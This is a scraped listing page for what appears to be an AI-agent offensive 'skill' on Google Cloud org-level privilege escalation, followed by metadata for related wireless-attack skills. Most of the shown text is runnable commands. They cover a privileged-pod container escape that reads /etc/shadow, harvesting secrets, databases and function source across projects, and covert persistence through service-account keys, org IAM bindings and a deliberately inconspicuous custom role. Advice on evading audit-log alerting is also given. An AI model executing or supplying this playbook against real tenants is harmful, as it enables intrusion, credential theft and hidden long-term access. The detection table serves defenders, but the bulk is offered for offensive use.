\"name\":\"escape\",\"image\":\"alpine\",\"command\":[\"nsenter\",\"--target\",\"1\",\"--mount\",\"--uts\",\"--ipc\",\"--net\",\"--pid\",\"--\",\"bash\",\"-c\",\"id; cat \u002Fetc\u002Fshadow | head -3\"],\n    \"securityContext\":{\"privileged\":true}\n  }]}\n}'\n\n# GKE node SA typically has compute\u002Fstorage access — pivot from there\n```\n\n## 6. Cross-Service Pivoting\n\n```bash\n# BigQuery — access datasets across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  bq ls --project_id=\"$proj\" 2>\u002Fdev\u002Fnull | grep -v \"datasetId\"\ndone\n\n# Query cross-project BigQuery (if IAM allows)\nbq query --use_legacy_sql=false \"SELECT * FROM \\`\u003CTARGET_PROJECT>.\u003CDATASET>.\u003CTABLE>\\` LIMIT 100\"\n\n# Cloud Functions — list and read source code\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud functions list --project=\"$proj\" --format=\"table(name,runtime,status)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Download function source\ngcloud functions describe \u003CFUNCTION_NAME> --project=\u003CPROJECT_ID> --format=\"value(sourceArchiveUrl)\"\ngsutil cp \u003CSOURCE_URL> \u002Ftmp\u002Ffunction_source.zip\n\n# Secret Manager — list and access secrets\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud secrets list --project=\"$proj\" --format=\"table(name,createTime)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Read secret value\ngcloud secrets versions access latest --secret=\u003CSECRET_NAME> --project=\u003CPROJECT_ID>\n\n# Cloud SQL — find databases\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud sql instances list --project=\"$proj\" --format=\"table(name,databaseVersion,ipAddresses)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Pub\u002FSub — read messages from subscriptions\ngcloud pubsub subscriptions list --project=\u003CPROJECT_ID>\ngcloud pubsub subscriptions pull \u003CSUBSCRIPTION_NAME> --project=\u003CPROJECT_ID> --limit=10 --auto-ack\n```\n\n## 7. Persistence at Org Level\n\n```bash\n# Create SA key for persistent access (if key creation allowed)\ngcloud iam service-accounts keys create \u002Ftmp\u002Fpersist_key.json \\\n  --iam-account=\u003CSA_EMAIL> --project=\u003CPROJECT_ID>\n\n# Add IAM binding at org level (if org admin)\ngcloud organizations add-iam-policy-binding \"$ORG_ID\" \\\n  --member=\"serviceAccount:\u003CSA_EMAIL>\" \\\n  --role=\"roles\u002Fviewer\"\n\n# Create custom role with minimal permissions (less visible than predefined roles)\ngcloud iam roles create customAuditor --organization=\"$ORG_ID\" \\\n  --title=\"Custom Auditor\" \\\n  --permissions=\"resourcemanager.projects.list,iam.serviceAccounts.list,storage.buckets.list\"\n\n# Workload Identity Federation — trust external IdP for persistent access\ngcloud iam workload-identity-pools create \"audit-pool\" \\\n  --location=\"global\" --project=\u003CPROJECT_ID>\n\n# Add SA to group that has org-level permissions\ngcloud identity groups memberships add \\\n  --group-email=\"\u003CPRIVILEGED_GROUP>@\u003CDOMAIN>\" \\\n  --member-email=\"\u003CSA_EMAIL>\"\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| gcloud CLI | Core GCP enumeration and exploitation |\n| ScoutSuite | Multi-cloud security auditing (GCP module) |\n| Cartography | GCP asset inventory and relationship mapping |\n| GCPBucketBrute | GCS bucket discovery and enumeration |\n| Hayat | GCP privilege escalation path finder |\n| kubectl | GKE cluster exploitation |\n| Terraform | State file analysis for secrets |\n| Rhino Security gcpwn | GCP exploitation framework |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| Org IAM policy enumeration | Cloud Audit Logs: `GetIamPolicy` on organization resource |\n| Cross-project SA impersonation | IAM audit: `GenerateAccessToken` calls across project boundaries |\n| Terraform state bucket access | GCS access logs: `storage.objects.get` on tfstate files |\n| GKE secret enumeration | K8s audit: `list secrets` across namespaces |\n| SA key creation | IAM audit: `CreateServiceAccountKey` events |\n| Org-level IAM binding changes | Cloud Audit: `SetIamPolicy` on organization |\n| Custom role creation at org level | IAM audit: `CreateRole` on organization resource |\n| Bulk project listing | Resource Manager audit: `ListProjects` with org filter |\n\n## Error Handling & Edge Cases\n\n- **Org-level permissions denied**: Start with project-level SA, enumerate impersonation chains to find a path upward\n- **VPC Service Controls**: Resources behind a perimeter reject calls from outside; must compromise an identity inside the perimeter or find a bridge project\n- **Org policy blocks SA key creation**: Use `generateAccessToken` API for short-lived tokens instead; impersonation doesn't require keys\n- **No gcloud CLI available**: Use raw REST API with `curl` and bearer tokens from metadata service\n- **Audit log alerting**: Reduce enumeration speed; target specific known-valuable projects instead of scanning all\n- **Workload Identity in use**: SA keys may not exist; must compromise the workload (pod\u002FVM) that is mapped to the target SA\n\n## Decision Gate\n\n```\nIF single-project SA compromised:\n  → Enumerate org structure (folders, projects)\n  → Test impersonation against SAs in other projects\n  → Search for Terraform state buckets (secrets goldmine)\n  → Check GKE clusters for cross-project SA mappings\n\nIF org-level read access obtained:\n  → Dump all project IAM policies\n  → Identify over-permissioned SAs (Editor\u002FOwner on multiple projects)\n  → Access Secret Manager across projects\n  → Query BigQuery datasets for sensitive data\n\nIF GKE cluster access:\n  → Extract pod secrets and environment variables\n  → Check Workload Identity mappings for GCP SA impersonation\n  → Attempt node escape for compute SA token\n  → Pivot to other clusters via shared SA\n\nIF org admin achieved:\n  → Create persistent org-level IAM binding\n  → Deploy custom role for stealthy long-term access\n  → Configure Workload Identity Federation for external trust\n  → Access all Terraform state, secrets, and databases org-wide\n```\n",{"name":5,"metadata":24,"description":7},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"cloud gcp privilege-escalation org-level cross-project","cloud","gcp google cloud organization escalation privilege cross-project pivot service account impersonation org policy bypass terraform state gke cluster iam enumeration gcloud resource manager bigquery cloud function","T1078.004, T1580","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-org-escalation",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill gcp-org-escalation",{"tool":42,"command":43},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill gcp-org-escalation",{"tool":45,"command":46},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill gcp-org-escalation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-org-escalation\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]